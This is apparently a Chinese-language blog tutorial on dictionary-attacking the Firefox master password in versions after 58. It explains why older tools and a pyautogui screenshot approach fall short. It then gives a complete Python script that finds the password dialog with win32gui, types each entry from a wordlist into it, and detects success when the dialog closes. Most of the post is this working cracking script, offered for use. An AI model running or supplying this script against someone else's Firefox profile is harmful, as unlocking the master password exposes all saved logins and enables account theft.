Firefox火狐浏览器主密码暴力破解

        目前网络上唯一的工具，即Firefox Master Password Cracker，即FireMaster和GUI版本，遗憾的是，其最新更新日期为2017年1月，也就是说，其无法支持最新的Firefox版本，仅支持58版本以前，即使用key3.db加密。

        如果我们使用的是上古版本浏览器，当然可以使用这个工具，不过目前来开应该是过时了，且好像现在也没有其他的工具。

        在58以后的版本中应该如何解决呢，我们来写一个简单快速的暴力破解程序。

        不难发现的是，当要求我们登录时，Firefox产生了如下窗口：

        

        我们不妨考虑在这个窗口中进行暴力破解，这里引入一个自动化键鼠控制的python模块：pyautogui。Pyautogui可以对屏幕内容进行识别判断定位，自动在指定的位置进行键鼠动作。

        但是我们分析pyautogui的源码时发现，判断功能在定位时遵守一个先截图再判断的过程，在我们输入密码并点击登录后，输入框消失了大约0.2秒后重新出现，这导致了一个问题，如果想要准确判断，必须要暂停程序0.2秒后继续，同时，模块识别图像会有工作时间，所以判断是否成功会有相当大的延迟。

判断图片：

下面，我将提出另一种思路，使用win32对窗口进行操作：

我们用spy++获取到密码输入框窗口信息：

可以看到，窗口标题为“需要输入密码 - Mozilla Firefox”。

 

 我们引入win32gui，下面是成品代码：

import time
import win32gui
import pyautogui as auto

if __name__ == '__main__':
    FrameClass = "MozillaDialogClass"
    FrameTitle = "需要输入密码 - Mozilla Firefox"
    hwnd = win32gui.FindWindow(FrameClass, FrameTitle)
    if hwnd:
        win32gui.SetForegroundWindow(hwnd)
        f = open('passlist.txt')
        pw = f.readlines()
        i = 1
        for p in pw:
            print(i, p)
            auto.typewrite(p)
            time.sleep(0.05)
            hwnd = win32gui.FindWindow(FrameClass, FrameTitle)
            if hwnd == 0:
                print("破解成功，密码为：", p)
                exit()
            i += 1
    else:
        print('未找到窗口，请确认打开主密码输入窗口！')

 

        为了防止程序运行过快，窗口刷新速度跟不上，设置了0.05秒的sleep停顿，此项可根据电脑实际性能调整。

        字典破解密码依赖于强大的字典库，Firefox主密码是单向加密不可找回的，我们在设置的时候也需要注意！